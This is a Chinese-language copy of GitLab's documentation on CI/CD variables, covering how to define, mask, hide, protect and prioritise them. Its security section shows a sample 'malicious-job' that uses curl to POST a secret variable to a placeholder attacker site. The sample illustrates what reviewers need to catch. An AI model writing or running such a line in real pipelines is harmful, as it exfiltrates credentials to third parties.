Help us learn about your current experience with the documentation. Take the survey.

GitLab CI/CD 变量

  • Tier: Free, Premium, Ultimate
  • Offering: GitLab.com, GitLab Self-Managed, GitLab Dedicated

CI/CD 变量是一种环境变量。你可以使用它们来:

  • 控制作业和 pipelines 的行为。
  • 存储你想重复使用的值,例如在 job scripts 中。
  • 避免在 .gitlab-ci.yml 文件中硬编码值。

当你 手动运行 pipeline运行手动作业 或者在手动 pipeline 中 预填充变量 时,你可以为特定 pipeline 覆盖变量值

变量名称受 runner 使用的 shell 执行脚本的限制。每个 shell 都有其自己的保留变量名称集。

为确保行为一致,你应该始终将变量值放在单引号或双引号中。变量由 Psych YAML 解析器 内部解析,因此带引号和不带引号的变量可能被不同地解析。例如,VAR1: 012345 被解释为八进制值,所以值变为 5349,但 VAR1: "012345" 被解析为值为 012345 的字符串。

有关 GitLab CI/CD 高级使用的更多信息,请参阅 GitLab 工程师分享的 7 advanced GitLab CI workflow hacks

预定义的 CI/CD 变量

GitLab CI/CD 提供一组 预定义的 CI/CD 变量 供在 pipeline 配置和作业脚本中使用。这些变量包含关于作业、pipeline 以及在 pipeline 触发或运行时你可能需要的其他值的信息。

你可以在 .gitlab-ci.yml 中使用预定义的 CI/CD 变量,而无需先声明它们。例如:

job1:
  stage: test
  script:
    - echo "作业的阶段是 '$CI_JOB_STAGE'"

此示例中的脚本输出 作业的阶段是 'test'

.gitlab-ci.yml 文件中定义 CI/CD 变量

要在 .gitlab-ci.yml 文件中创建 CI/CD 变量,使用 variables 关键字定义变量和值。

保存在 .gitlab-ci.yml 文件中的变量对所有有权访问仓库的用户可见,并且应该只存储非敏感的项目配置。例如,保存在 DATABASE_URL 变量中的数据库 URL。包含机密或密钥等值的敏感变量应该 在 UI 中添加

你可以在以下位置定义 variables

  • 作业中:该变量仅在该作业的 scriptbefore_scriptafter_script 部分可用,并且与某些 作业关键字 一起使用。
  • .gitlab-ci.yml 文件的顶层:该变量作为 pipeline 中所有作业的默认值可用,除非某个作业定义了同名变量。作业的变量优先。

在这两种情况下,你都不能将这些变量与 全局关键字 一起使用。

例如:

variables:
  ALL_JOBS_VAR: "默认变量"

job1:
  variables:
    JOB1_VAR: "作业 1 变量"
  script:
    - echo "变量是 '$ALL_JOBS_VAR' 和 '$JOB1_VAR'"

job2:
  variables:
    ALL_JOBS_VAR: "与默认值不同的值"
    JOB2_VAR: "作业 2 变量"
  script:
    - echo "变量是 '$ALL_JOBS_VAR'、'$JOB2_VAR' 和 '$JOB1_VAR'"

在此示例中:

  • job1 输出:变量是 '默认变量' 和 '作业 1 变量'
  • job2 输出:变量是 '与默认值不同的值'、'作业 2 变量' 和 ''

使用 valuedescription 关键字来定义 预填充的变量,用于 手动触发的 pipeline

在单个作业中跳过默认变量

如果你不希望默认变量在作业中可用,将 variables 设置为 {}

variables:
  DEFAULT_VAR: "默认变量"

job1:
  variables: {}
  script:
    - echo 此作业不需要任何变量

在 UI 中定义 CI/CD 变量

像令牌或密码这样的敏感变量应该存储在 UI 的设置中,而不是 .gitlab-ci.yml 文件中。在 UI 中添加 CI/CD 变量:

或者,这些变量可以通过 API 添加:

默认情况下,来自 fork 项目的 pipeline 无法访问父项目可用的 CI/CD 变量。如果你 在父项目中为来自 fork 的合并请求运行合并请求 pipeline,所有变量都对 pipeline 可用。

对于项目

你可以将 CI/CD 变量添加到项目的设置中。项目最多可以有 8000 个 CI/CD 变量。

先决条件:

  • 你必须是具有 Maintainer 角色的项目成员。

要在项目设置中添加或更新变量:

  1. 在左侧边栏,选择 Search or go to 并找到你的项目。
  2. 选择 Settings > CI/CD
  3. 展开 Variables
  4. 选择 Add variable 并填写详细信息:
    • Key:必须是一行,无空格,仅使用字母、数字或 _
    • Value:无限制。
    • TypeVariable(默认)或 File
    • Environment scope:可选。All (default) (*)、特定的 environment,或通配符 environment scope
    • Protect variable:可选。如果选中,该变量仅在运行于 受保护分支受保护标签 的 pipeline 中可用。
    • Visibility:选择 Visible(默认)、MaskedMasked and hidden(仅对新变量可用)。

创建变量后,你可以在 pipeline 配置或 job scripts 中使用它。

对于组

你可以使 CI/CD 变量对组中的所有项目可用。组最多可以有 30000 个 CI/CD 变量。

先决条件:

  • 你必须是具有 Owner 角色的组成员。

要添加组变量:

  1. 在左侧边栏,选择 Search or go to 并找到你的组。
  2. 选择 Settings > CI/CD
  3. 展开 Variables
  4. 选择 Add variable 并填写详细信息:
    • Key:必须是一行,无空格,仅使用字母、数字或 _
    • Value:无限制。
    • TypeVariable(默认)或 File
    • Protect variable:可选。如果选中,该变量仅在运行于 受保护分支受保护标签 的 pipeline 中可用。
    • Visibility:选择 Visible(默认)、MaskedMasked and hidden(仅对新变量可用)。

项目中可用的组变量列在项目的 Settings > CI/CD > Variables 部分。来自 子组 的变量被递归继承。

Environment scope

  • Tier: Premium, Ultimate

要将组 CI/CD 变量设置为仅对某些环境可用:

  1. 在左侧边栏,选择 Search or go to 并找到你的组。
  2. 选择 Settings > CI/CD
  3. 展开 Variables
  4. 在变量右侧,选择 Edit pencil )。
  5. 对于 Environment scope,选择 All (default) (*)、特定的 environment,或通配符 environment scope

对于实例

  • Tier: Free, Premium, Ultimate
  • Offering: GitLab Self-Managed, GitLab Dedicated

你可以使 CI/CD 变量对 GitLab 实例中的所有项目和组可用。

先决条件:

  • 你必须具有对实例的管理员访问权限。

要添加实例变量:

  1. 在左侧边栏,底部选择 Admin
  2. 选择 Settings > CI/CD
  3. 展开 Variables
  4. 选择 Add variable 并填写详细信息:
    • Key:必须是一行,无空格,仅使用字母、数字或 _
    • Value:值限制为 10,000 个字符,但也受 runner 操作系统中的任何限制约束。
    • TypeVariable(默认)或 File
    • Protect variable:可选。如果选中,该变量仅在运行于 受保护分支受保护标签 的 pipeline 中可用。
    • Visibility:选择 Visible(默认)、MaskedMasked and hidden(仅对新变量可用)。

CI/CD 变量安全

推送到 .gitlab-ci.yml 文件的代码可能会危及你的变量。变量可能会在作业日志中意外泄露,或者恶意地发送到第三方服务器。

在以下操作之前,审查所有引入 .gitlab-ci.yml 文件更改的合并请求:

在添加文件或对导入的项目运行 pipeline 之前,审查其 .gitlab-ci.yml 文件。

以下示例显示 .gitlab-ci.yml 文件中的恶意代码:

accidental-leak-job:
  script:                                         # 密码意外泄露
    - echo "此脚本使用 $USER $PASSWORD 登录数据库"
    - db-login $USER $PASSWORD

malicious-job:
  script:                                         # 密钥恶意泄露
    - curl --request POST --data "secret_variable=$SECRET_VARIABLE" "https://maliciouswebsite.abcd/"

为了帮助减少通过 accidental-leak-job 中的脚本意外泄露机密的风险,所有包含敏感信息的变量应该始终 在作业日志中被屏蔽。你还可以 将变量限制为仅受保护分支和标签

或者,使用本机 GitLab 集成连接到第三方机密管理器提供商来存储和检索机密:

你还可以使用 OpenID Connect (OIDC) 认证 用于没有本机集成的机密管理器。

malicious-job 中的恶意脚本必须在审查过程中被发现。审查人员在发现此类代码时不应触发 pipeline,因为恶意代码可能会危及被屏蔽和受保护的变量。

变量值使用 aes-256-cbc 加密并存储在数据库中。这些数据只能使用有效的 secrets file 读取和解密。

屏蔽 CI/CD 变量

屏蔽 CI/CD 变量并不能保证防止恶意用户访问变量值。为确保敏感信息的安全,请考虑使用 外部机密文件类型变量 来防止诸如 env/printenv 之类的命令打印机密变量。

你可以屏蔽项目、组或实例 CI/CD 变量,这样变量的值不会显示在作业日志中。当屏蔽的 CI/CD 变量会显示在作业日志中时,值被替换为 [masked] 以防止值被泄露。

先决条件:

要屏蔽变量:

  1. 对于组、项目或在 Admin 区域,选择 Settings > CI/CD
  2. 展开 Variables
  3. 在你要保护的变量旁边,选择 Edit
  4. Visibility 下,选择 Mask variable
  5. 选择 Update variable

用于屏蔽变量的方法 限制了可以包含在屏蔽变量中的内容。变量的值必须:

  • 是单行且无空格。
  • 长度为 8 个字符或更长。
  • 不匹配现有预定义或自定义 CI/CD 变量的名称。
  • 不包含除 @_-:+ 之外的非字母数字字符。

此外,如果启用了 变量扩展,值只能包含:

  • Base64 字母表中的字符(RFC4648)。
  • @:.~ 字符。

屏蔽变量会自动屏蔽作业日志中该值的所有出现。如果另一个变量具有相同的值,该值也会被屏蔽,包括当变量引用被屏蔽的变量时。字符串 [MASKED] 会显示该值,可能带有一些尾随的 x 字符。

当启用 CI_DEBUG_SERVICES 时,可能会泄露机密。有关详细信息,请阅读 服务容器日志记录

隐藏 CI/CD 变量

除了屏蔽,你还可以防止 CI/CD 变量的值在 CI/CD 设置页面中显示。隐藏变量仅在创建新变量时可能,你不能更新现有变量以使其隐藏。

先决条件:

要隐藏变量,在 在 UI 中添加新的 CI/CD 变量 时,在 Visibility 部分选择 Masked and hidden。保存变量后,变量可以在 CI/CD pipeline 中使用,但无法在 UI 中再次显示。

保护 CI/CD 变量

你可以将项目、组或实例 CI/CD 变量配置为仅在运行于 受保护分支受保护标签 的 pipeline 中可用。

合并结果 pipeline合并请求 pipeline 可以选择性地 访问受保护的变量

先决条件:

要将变量设置为受保护:

  1. 对于项目或组,转到 Settings > CI/CD
  2. 展开 Variables
  3. 在你要保护的变量旁边,选择 Edit
  4. 选择 Protect variable 复选框。
  5. 选择 Update variable

该变量对所有后续 pipeline 可用。

使用文件类型 CI/CD 变量

所有预定义的 CI/CD 变量和在 .gitlab-ci.yml 文件中定义的变量都是 “variable” 类型(API 中的 variable_typeenv_var)。变量类型变量:

  • 由键值对组成。
  • 在作业中作为环境变量提供,其中:
    • CI/CD 变量键作为环境变量名。
    • CI/CD 变量值作为环境变量值。

项目、组和实例 CI/CD 变量默认为 “variable” 类型,但可以可选地设置为 “file” 类型(API 中的 variable_typefile)。文件类型变量:

  • 由键、值和文件组成。
  • 在作业中作为环境变量提供,其中:
    • CI/CD 变量键作为环境变量名。
    • CI/CD 变量值保存到临时文件中。
    • 临时文件的路径作为环境变量值。

使用文件类型 CI/CD 变量用于需要文件作为输入的工具。AWS CLIkubectl 都是使用 File 类型变量进行配置的工具。

例如,如果你正在使用 kubectl

  • 一个键为 KUBE_URL、值为 https://example.com 的变量。
  • 一个键为 KUBE_CA_PEM、值为证书的文件类型变量。

KUBE_URL 作为接受变量的 --server 选项传递,并将 $KUBE_CA_PEM 作为接受文件路径的 --certificate-authority 选项传递:

kubectl config set-cluster e2e --server="$KUBE_URL" --certificate-authority="$KUBE_CA_PEM"

.gitlab-ci.yml 变量用作文件类型变量

你不能将在 .gitlab-ci.yml 文件中 定义的 CI/CD 变量 设置为文件类型变量。如果你有一个需要文件路径作为输入的工具,但你想使用在 .gitlab-ci.yml 中定义的变量:

  • 运行一个将变量值保存到文件中的命令。
  • 使用该文件与你的工具一起使用。

例如:

variables:
  SITE_URL: "https://gitlab.example.com"

job:
  script:
    - echo "$SITE_URL" > "site-url.txt"
    - mytool --url-file="site-url.txt"

防止 CI/CD 变量扩展

扩展的变量将带有 $ 字符的值视为对另一个变量的引用。CI/CD 变量默认扩展。要将带有 $ 字符的变量视为原始字符串,为该变量禁用变量扩展。

先决条件:

要为变量禁用变量扩展:

  1. 对于项目或组,转到 Settings > CI/CD
  2. 展开 Variables
  3. 在你不想扩展的变量旁边,选择 Edit
  4. 清除 Expand variable 复选框。
  5. 选择 Update variable

CI/CD 变量优先级

你可以在不同位置使用同名的 CI/CD 变量,但值可能会相互覆盖。变量的类型和定义位置决定了哪些变量具有优先级。

变量的优先级顺序(从高到低):

  1. Pipeline 执行策略变量
  2. 扫描执行策略变量
  3. Pipeline 变量。这些变量具有相同的优先级:
  4. 项目 变量
  5. 变量。如果组及其子组中存在同名变量,作业使用来自最近子组的值。例如,如果你有 Group > Subgroup 1 > Subgroup 2 > Project,则在 Subgroup 2 中定义的变量优先。
  6. 实例 变量
  7. 来自 dotenv 报告的变量
  8. 作业变量,在 .gitlab-ci.yml 文件中的作业中定义。
  9. 所有作业的默认变量,在 .gitlab-ci.yml 文件顶层定义。
  10. 部署变量
  11. 预定义变量

例如:

variables:
  API_TOKEN: "默认值"

job1:
  variables:
    API_TOKEN: "安全值"
  script:
    - echo "变量是 '$API_TOKEN'"

在此示例中,job1 输出 变量是 '安全值',因为在 .gitlab-ci.yml 文件中定义的作业变量比默认变量具有更高的优先级。

使用 pipeline 变量

Pipeline 变量是在运行新 pipeline 时指定的变量。

先决条件:

  • 你必须具有项目中的 Developer 角色。

你可以在以下情况下指定 pipeline 变量:

这些变量具有 更高的优先级 并且可以覆盖其他定义的变量,包括 预定义变量

在大多数情况下,你应该避免覆盖预定义变量,因为它可能导致 pipeline 行为异常。

GitLab 17.7 及更高版本中,pipeline inputs 推荐于传递 pipeline 变量。为了增强安全性,你应该在使用 inputs 时 禁用 pipeline 变量

限制 pipeline 变量

你可以限制谁可以 使用 pipeline 变量运行 pipeline 到特定用户角色。当具有较低角色的用户尝试使用 pipeline 变量时,他们会收到 Insufficient permissions to set pipeline variables 错误消息。

先决条件:

  • 你必须具有项目中的 Maintainer 角色。如果之前将最小角色设置为 ownerno_one_allowed,那么你必须具有项目中的 Owner 角色。

将 pipeline 变量的使用限制为仅 Maintainer 角色和更高:

  • 转到 Settings > CI/CD > Variables
  • Minimum role to use pipeline variables 下,选择以下之一:
    • no_one_allowed:没有 pipeline 可以使用 pipeline 变量运行。 GitLab.com 上新命名空间中新项目的默认值。
    • owner:只有具有 Owner 角色的用户可以使用 pipeline 变量运行 pipeline。 你必须具有项目的 Owner 角色才能将设置更改为此值。
    • maintainer:只有具有至少 Maintainer 角色的用户可以使用 pipeline 变量运行 pipeline。 在 GitLab Self-Managed 和 GitLab Dedicated 上未指定时的默认值。
    • developer:只有具有至少 Developer 角色的用户可以使用 pipeline 变量运行 pipeline。

你还可以使用 projects API 设置 ci_pipeline_variables_minimum_override_role 设置的角色。

此限制不影响来自项目或组设置的 CI/CD 变量的使用。大多数作业仍然可以在 YAML 配置中使用 variables 关键字,但使用 trigger 关键字触发下游 pipeline 的作业除外。触发作业将变量作为 pipeline 变量传递给下游 pipeline,这也受此设置控制。

导出变量

在单独的 shell 上下文中执行的脚本不共享导出、别名、本地函数定义或任何其他本地 shell 更新。

这意味着如果作业失败,用户定义脚本创建的变量不会被导出。

当 runner 执行在 .gitlab-ci.yml 中定义的作业时:

  • before_script 中指定的脚本和主脚本在单个 shell 上下文中一起执行,并且被连接。
  • after_script 中指定的脚本在完全独立于 before_script 和指定脚本的 shell 上下文中运行。

无论脚本在哪个 shell 中执行,runner 输出都包括:

  • 预定义变量。
  • 在以下位置定义的变量:
    • 实例、组或项目 CI/CD 设置。
    • .gitlab-ci.yml 文件中的 variables: 部分。
    • .gitlab-ci.yml 文件中的 secrets: 部分。
    • config.toml

runner 无法处理在脚本主体中执行的手动导出、shell 别名和函数,如 export MY_VARIABLE=1

例如,在以下 .gitlab-ci.yml 文件中,定义了以下脚本:

job:
 variables:
   JOB_DEFINED_VARIABLE: "作业变量"
 before_script:
   - echo "这是 'before_script' 脚本"
   - export MY_VARIABLE="变量"
 script:
   - echo "这是 'script' 脚本"
   - echo "JOB_DEFINED_VARIABLE 的值是 ${JOB_DEFINED_VARIABLE}"
   - echo "CI_COMMIT_SHA 的值是 ${CI_COMMIT_SHA}"
   - echo "MY_VARIABLE 的值是 ${MY_VARIABLE}"
 after_script:
   - echo "JOB_DEFINED_VARIABLE 的值是 ${JOB_DEFINED_VARIABLE}"
   - echo "CI_COMMIT_SHA 的值是 ${CI_COMMIT_SHA}"
   - echo "MY_VARIABLE 的值是 ${MY_VARIABLE}"

当 runner 执行作业时:

  1. before_script 被执行:
    1. 打印到输出。
    2. MY_VARIABLE 定义变量。
  2. script 被执行:
    1. 打印到输出。
    2. 打印 JOB_DEFINED_VARIABLE 的值。
    3. 打印 CI_COMMIT_SHA 的值。
    4. 打印 MY_VARIABLE 的值。
  3. after_script 在新的、独立的 shell 上下文中执行:
    1. 打印到输出。
    2. 打印 JOB_DEFINED_VARIABLE 的值。
    3. 打印 CI_COMMIT_SHA 的值。
    4. 打印 MY_VARIABLE 的空值。无法检测变量值,因为 after_scriptbefore_script 在独立的 shell 上下文中。

相关主题